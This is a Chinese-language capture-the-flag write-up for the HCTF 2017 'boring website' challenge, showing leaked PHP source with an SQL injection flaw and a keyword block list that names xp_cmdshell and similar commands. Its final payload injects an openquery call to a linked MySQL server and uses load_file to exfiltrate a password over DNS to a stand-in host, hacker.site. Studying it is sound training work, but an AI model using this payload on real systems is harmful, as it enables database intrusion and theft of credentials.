

## boring website

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## WriteUp 来源

<https://xz.aliyun.com/t/1589>

## 题目考点

- 代码审计

## 解题思路

首先扫目录发现有www.zip, 下载并打开发现是源码

```
1 <?php
2 echo "Bob received a mission to write a login system on someone else's serve
3 r, and he he only finished half of the work<br />";
4 echo "flag is hctf{what you get}<br /><br />";
5 error_reporting(E_ALL^E_NOTICE^E_WARNING);
6 try {
7 $conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "" );
8 }
9 catch( PDOException $e ) {
10 die( "Error connecting to SQL Server". $e->getMessage() );
11 }
12 #echo "Connected to MySQL<br />";
13 echo "Connected to SQL Server<br />";
14 $id = $_GET['id'];
15 if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*?)|CREATE|DROP|declare
16 |if|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
17 die('NoNoNo');
18 }
19 $query = "select message from not_here_too where id = $id"; //link server: 0
20 n linkname:mysql
21 $stmt = $conn->query( $query );
22 if ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
23 //TO DO: ...
24 //It's time to sleep...
25 }
26 ?>
```

发现应该是sql server用linkserver来连接mysql。所以去查了一波linkserver的用法, 以及结合注释可得select \* from openquery(mysql,'select xxx') 可以从mysql数据库中查得信息, 但是没有回显, sleep函数也被ban了, 然后看到oob的提示, 去查了一波mysql out-of-band, 发现load\_file函数可以通过dns通道把所查得的数据带出来。接下来的过程就是十分常见简单的mysql注入的流程。最终的payload:

```
1 /?id=1 union select * from openquery(mysql,'select load_file(concat("\\\\", (select password from secret), ".hacker.site\\a.txt"))')
```

dnslog 平台可以自己搭也可以用ceye

[mysql out of band](#)

## Flag

1 无

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2017/HCTF/Web/5yeZuVBjSJL8ni3W2gKW7Y.html>
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